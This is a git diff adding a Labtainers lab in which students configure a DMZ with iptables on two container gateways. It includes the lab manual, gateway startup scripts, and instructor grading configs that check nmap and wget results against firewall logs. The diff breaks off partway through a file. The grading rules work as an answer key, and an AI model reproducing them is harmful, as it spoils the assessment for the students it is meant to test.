dmz-lab.aux dmz-lab.log dmz-lab.pdf dmz-lab.dvi dmz-lab.out diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/docs/dmz-lab.jpg b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/docs/dmz-lab.jpg new file mode 100644 index 000000000..e2a3b1e02 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/docs/dmz-lab.jpg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/docs/dmz-lab.odg b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/docs/dmz-lab.odg new file mode 100755 index 000000000..2541e3be1 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/docs/dmz-lab.odg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/docs/dmz-lab.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/docs/dmz-lab.tex new file mode 100644 index 000000000..ecb1d6803 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/docs/dmz-lab.tex @@ -0,0 +1,76 @@ +\input{header} +\begin{document} + +\begin{center} +{\LARGE DMZ Lab} +\vspace{0.1in}\\ +\end{center} + +\copyrightnotice + +\section{Overview} +This lab requires that you configure a DMZ using iptables on two gateway components. + +\section{Lab Environment} +This lab runs in the Labtainer framework, +available at http://my.nps.edu/web/c3o/labtainers. +That site includes links to a pre-built virtual machine +that has Labtainers installed, however Labtainers can +be run on any Linux host that supports Docker containers. + +From your labtainer-student directory start the lab using: +\begin{verbatim} + labtainer dmz-lab +\end{verbatim} +\noindent A link to this lab manual will be displayed. + +\section{Network Configuration} +This lab includes several networked computers as shown in Figure~\ref{fig:topology}. +Note however that your instance of the lab will have different IP addresses +for some of the components. +When the lab starts, you will get several virtual terminals, one connected to each +component. + +The outer gateway and the remote gateway each reach the Internet via an ISP with +address 198.18.0.1. The local site has a network address of 198.18.1.0/24. The remote +site has a network address of 203.0.113.0/24. + +Initially, the DMZ is in name only. + +\begin{figure}[htb] +\begin{center} +\includegraphics [width=0.8\textwidth,natwidth=621,natheight=403]{dmz-lab.jpg} +\end{center} +\caption{Network topology for dmz-lab} +\label{fig:topology} +\end{figure} + +\section{Lab Tasks} +Configure the inner\_gateway and outer\_gateway such that: +\begin{itemize} +\item Remote users can only access the web server, e.g., via wget www.example.com, using +HTTP, HTTPS and SSH. +\item Local users can reach the internet via the ISP, e.g., wget www.google.com +\item Local users can reach the local web server via HTTP, HTTPS, SSH and MYSQL +\end{itemize} + +Use the /etc/rc.local scripts on the inner and outer gateways to issue iptables directives. +Respect the comments in the rc.local scripts regarding sections that should not be modified. +Demonstrate your DMZ by issuing the following commands, without any additional changes to iptables. +\begin{enumerate} +\item On the remote\_ws (hank): {\tt sudo nmap www.example.com} +\item On the ws1 (tom): {\tt sudo nmap www.example.com} +\item On the ws1 (tom): {\tt wget www.google.com} +\end{enumerate} +\noindent If you make any changes to iptables in the course of your testing, restart your testing from +item (1) above. + +\section{Submission} +After finishing the lab, go to the terminal on your Linux system that was used to start the lab and type: +\begin{verbatim} + stoplab dmz-lab +\end{verbatim} +When you stop the lab, the system will display a path to the zipped lab results on your Linux system. Provide that file to +your instructor, e.g., via the Sakai site. + +\end{document} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/docs/header.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/docs/header.tex new file mode 100644 index 000000000..d81b557e1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/docs/header.tex @@ -0,0 +1,122 @@ +\documentclass[11pt]{article} + +\usepackage{times} +\usepackage{epsf} +\usepackage{epsfig} +\usepackage{amsmath, alltt, amssymb, xspace} +\usepackage{wrapfig} +\usepackage{fancyhdr} +\usepackage{url} +\usepackage{verbatim} +\usepackage{fancyvrb} +\usepackage{float} + +\usepackage{subfigure} +\usepackage{cite} +\usepackage{hyperref} +\hypersetup{% + pdfborder = {0 0 0} +} +\topmargin -0.50in % distance to headers +\oddsidemargin 0.0in +\evensidemargin 0.0in +\textwidth 6.5in +\textheight 8.9in + + +%\centerfigcaptionstrue + +%\def\baselinestretch{0.95} + + +\newcommand\discuss[1]{\{\textbf{Discuss:} \textit{#1}\}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} +\newtheorem{problem}{Problem}[section] +%\newtheorem{theorem}{Theorem} +%\newtheorem{fact}{Fact} +\newtheorem{define}{Definition}[section] +%\newtheorem{analysis}{Analysis} +\newcommand\vspacenoindent{\vspace{0.1in} \noindent} + +%\newenvironment{proof}{\noindent {\bf Proof}.}{\hspace*{\fill}~\mbox{\rule[0pt]{1.3ex}{1.3ex}}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} + +%\newcommand\reducespace{\vspace{-0.1in}} +% reduce the space between lines +%\def\baselinestretch{0.95} + +\newcommand{\fixmefn}[1]{ \footnote{\sf\ \ \fbox{FIXME} #1} } +\newcommand{\todo}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{TODO: #1}} +\vspace{0.1in} +} + +\newcommand{\mybox}[1]{ +\vspace{0.2in} +\noindent +\fbox{\parbox{6.5in}{#1}} +\vspace{0.1in} +} + + +\newcounter{question} +\setcounter{question}{1} + +\newcommand{\myquestion} {{\vspace{0.1in} \noindent \bf Question \arabic{question}:} \addtocounter{question}{1} \,} + +\newcommand{\myproblem} {{\noindent \bf Problem \arabic{question}:} \addtocounter{question}{1} \,} + + + +\newcommand{\copyrightnotice}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{ + This lab was developed for the Labtainer framework by the Naval Postgraduate + School, Center for Cybersecurity and Cyber Operations under National Science + Foundation Award No. 1438893. + This work is in the public domain, and cannot be copyrighted.}} +\vspace{0.1in} +} + + +\newcommand{\idea}[1]{ +\vspace{0.1in} +{\sf IDEA:\ \ \fbox{\parbox{5in}{#1}}} +\vspace{0.1in} +} + +\newcommand{\questionblock}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{#1}} +\vspace{0.1in} +} + + +\newcommand{\argmax}[1]{ +\begin{minipage}[t]{1.25cm}\parskip-1ex\begin{center} +argmax +#1 +\end{center}\end{minipage} +\; +} + +\newcommand{\bm}{\boldmath} +\newcommand {\bx} {\mbox{\boldmath $x$}} +\newcommand {\by} {\mbox{\boldmath $y$}} +\newcommand {\br} {\mbox{\boldmath $r$}} + + +\newcommand{\tstamp}{\today} +%\rfoot[\fancyplain{\tstamp} {\tstamp}] {\fancyplain{}{}} + +\pagestyle{fancy} +\lhead{\bfseries Labtainers} +\chead{} +\rhead{\small \thepage} +\lfoot{} +\cfoot{} +\rfoot{} + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/docs/read_first.txt new file mode 100644 index 000000000..d1de74da3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/docs/read_first.txt @@ -0,0 +1,6 @@ +The lab manual is at + file://LAB_DOCS/dmz-lab.pdf + +You may open these by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/inner_gw/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/inner_gw/_bin/fixlocal.sh new file mode 100755 index 000000000..438e7ffb1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/inner_gw/_bin/fixlocal.sh @@ -0,0 +1,11 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/inner_gw/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/inner_gw/_system/etc/rc.local new file mode 100755 index 000000000..be43bd8a9 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/inner_gw/_system/etc/rc.local @@ -0,0 +1,29 @@ +#!/bin/bash +# +# Configure the inner gateway of a DMZ +# where 198.18.1.INNER_LAN1 and 198.18.1.INNER_LAN2 are internal LANs +# and 198.18.1.10 is connected to the external gateway +# with address 198.18.1.2 +# +# +/usr/bin/set_default_gw.sh 198.18.1.2 +# +# IPTABLES rules below +# +iptables --flush +iptables -t nat --flush +iptables --delete-chain +iptables -t nat --delete-chain +iptables -P INPUT ACCEPT +iptables -P OUTPUT ACCEPT +iptables -P FORWARD ACCEPT + + +echo "nameserver 198.18.1.3" > /etc/resolv.conf +route del -host 172.17.0.1 + +# +# restart the DNS forwarder (rely on DNS provided by ISP) +# +/etc/init.d/dnsmasq restart + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/inner_gw/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/inner_gw/_system/sbin/faux_init new file mode 100755 index 000000000..014cca15e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/inner_gw/_system/sbin/faux_init @@ -0,0 +1,18 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + +/etc/init.d/dnsmasq start diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/instr_config/goals.config new file mode 100644 index 000000000..dd73d014c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/instr_config/goals.config @@ -0,0 +1,25 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide +# +# Did student run nmap from ws1 & remote workstion while iptables +# allowed https & mysql locally and only https remotely? +# +# Group nmap outputs into iptables log timestamp groups +# determined in results.config. +#GROUP: nmap results from remote workstation +remote_nmap_443 = time_during : _remote_nmap_443 : _iplog +remote_nmap_sql = time_during : _remote_nmap_sql : _iplog + +#GROUP: nmap results from local workstation +local_nmap_443 = time_during : _local_nmap_443 : _iplog +local_nmap_sql = time_during : _local_nmap_sql : _iplog + +#DOC: Reach the internet from local workstation? +reach_internet = time_during : _reach_internet : _iplog +# +# Note boolean evaluations are done per-timestamp group. Which we have organized around +# the running of iptables. +#DOC: Did nmap from the local and remote workstations indicate a correct iptables setting? +remote_correct = boolean : ((remote_nmap_443 and_not remote_nmap_sql) and local_nmap_443 and local_nmap_sql and reach_internet) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/instr_config/instructions.txt new file mode 100644 index 000000000..667cd20ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/instr_config/instructions.txt @@ -0,0 +1 @@ +Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/instr_config/pregrade.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/instr_config/pregrade.sh new file mode 100755 index 000000000..2d6b93ed2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/instr_config/pregrade.sh @@ -0,0 +1,40 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +# +# Script to run prior to grading a student's lab. It is intended +# for two potential purposes: +# 1) Create solution artifacts to campare against student artifacts; +# 2) Process student artifacts into a different form, e.g., extracting +# browser sqlite data as in the default instance of this file below. +# +# +# +homedir=$1 +# destdir includes the container +destdir=$2 +dbg=/tmp/pregrade.log +cd $homedir/$destdir +is_sqlite=`which sqlite3` +echo $is_sqlite +here=`pwd` +places=$here/.mozilla/firefox/*default/places.sqlite +for fname in $(ls $places 2> /dev/null); do + if [[ -f $fname ]]; then + outpath=$here/.local/result + outfile=$outpath/moz_places.txt + mkdir -p "$outpath" + sqlite3 "$fname" "SELECT moz_places.* FROM moz_places;" >"$outfile" + fi +done + +# +# Add other processing below. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/instr_config/results.config new file mode 100644 index 000000000..a5cd47a89 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/instr_config/results.config @@ -0,0 +1,16 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide +# +# Track student use of nmap, and its effects on the iptables log +# +# group the iptables log into timestamp ranges delimited by use of iptables command +# (as recorded by inotify) +_iplog = outer_gw:/var/log/ulog/syslogemu.log:iptables : CONTAINS : IPTABLES DROPPED +# +# Local and remote nmap results, reflecting HTTPS and MYSQL ports +_remote_nmap_443 = remote_ws:nmap.stdout : CONTAINS : open https +_remote_nmap_sql = remote_ws:nmap.stdout : CONTAINS : open mysql +_local_nmap_443 = ws1:nmap.stdout : CONTAINS : open https +_local_nmap_sql = ws1:nmap.stdout : CONTAINS : open mysql +_reach_internet = ws1:wget.stdout : FILE_REGEX : www.google.com .*index.html.*saved diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/isp/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/isp/_bin/fixlocal.sh new file mode 100755 index 000000000..daaaba927 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/isp/_bin/fixlocal.sh @@ -0,0 +1,15 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +lan1=$(ifconfig | grep -B1 "inet addr:198.18.0.1" | awk '$1!="inet" && $1!="--" {print $1}') +wan=$(ifconfig | grep -B1 "inet addr:10.10.0.1" | awk '$1!="inet" && $1!="--" {print $1}') +sudo iptables --table nat -I POSTROUTING 1 --out-interface $wan -j MASQUERADE +sudo iptables --append FORWARD --in-interface $lan1 -j ACCEPT +sudo systemctl enable dnsmasq +sudo systemctl start dnsmasq diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/isp/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/isp/_system/etc/rc.local new file mode 100755 index 000000000..035c0fd03 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/isp/_system/etc/rc.local @@ -0,0 +1,3 @@ +#!/bin/bash +route add -net 198.18.1.0 netmask 255.255.255.0 gw 198.18.0.2 +route add -net 203.0.113.0 netmask 255.255.255.0 gw 198.18.0.3 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/isp/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/isp/_system/sbin/faux_init new file mode 100755 index 000000000..36cc884b4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/isp/_system/sbin/faux_init @@ -0,0 +1,17 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start +/etc/init.d/dnsmasq restart diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/outer_gw/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/outer_gw/_bin/fixlocal.sh new file mode 100755 index 000000000..b31c0018c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/outer_gw/_bin/fixlocal.sh @@ -0,0 +1,11 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# outer gateway nameserver is the isp + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/outer_gw/_bin/notify b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/outer_gw/_bin/notify new file mode 100644 index 000000000..5b274b126 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/outer_gw/_bin/notify @@ -0,0 +1 @@ +/sbin/iptables OPEN iptables diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/outer_gw/_bin/notify_cb.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/outer_gw/_bin/notify_cb.sh new file mode 100755 index 000000000..dd1e83d01 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/outer_gw/_bin/notify_cb.sh @@ -0,0 +1,27 @@ +#!/bin/bash +# +# Callback from an inotify event +# +the_path=$1 +the_mode=$2 +the_user=$3 +the_cmd=$4 +if [[ "$the_path" == /sbin/iptables ]];then + # + # inotify says iptables ran. Determine if it may have had an effect -- e.g., + # do not break up timestamp ranges if student simply runs a sudo iptables -L + # + # + # Only care if run as root. Make a record if consequential iptables command, or via rc.local + # + if [[ $the_user == root ]]; then + if [[ "$the_cmd" == iptables* ]]; then + if [[ "$the_cmd" == *-A* ]]; then + echo "is root and -A $the_cmd" + fi + else + # if run from script, e.g., rc.local, assume effects + echo $the_cmd + fi + fi +fi diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/outer_gw/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/outer_gw/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/outer_gw/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/outer_gw/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/outer_gw/_system/etc/rc.local new file mode 100755 index 000000000..17d325275 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/outer_gw/_system/etc/rc.local @@ -0,0 +1,42 @@ +#!/bin/bash +# +# iptables for outer gateway, connected to ISP 198.18.0.1 +# +# Use ISP as default gateway +# +/usr/bin/set_default_gw.sh 198.18.0.1 + +# Route to inner gateway boxes +sudo route add -net 198.18.1.128 netmask 255.255.255.128 gw 198.18.1.INNER_DMZ +# +# reset iptables +# +iptables --flush +iptables -t nat --flush +iptables --delete-chain +iptables -t nat --delete-chain + + +iptables -A INPUT -j ACCEPT +iptables -A OUTPUT -j ACCEPT +iptables -A FORWARD -j ACCEPT + + +# +# THE IPTABLES NFLOG must not be changed. Do not modify below this line. +# +# logging using user space logger ulog +iptables -A FORWARD -j NFLOG -m limit --limit 2/min --nflog-prefix "IPTABLES DROPPED" +iptables -A INPUT -j DROP +iptables -A FORWARD -j DROP + + +# restart dns forwarder +echo "nameserver 198.18.0.1" > /etc/resolv.conf +route del -host 172.17.0.1 + +# +# restart the DNS forwarder (rely on DNS provided by ISP) +# +/etc/init.d/dnsmasq restart + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/outer_gw/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/outer_gw/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/outer_gw/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/outer_gw/_system/etc/systemd/system/mynotify.service 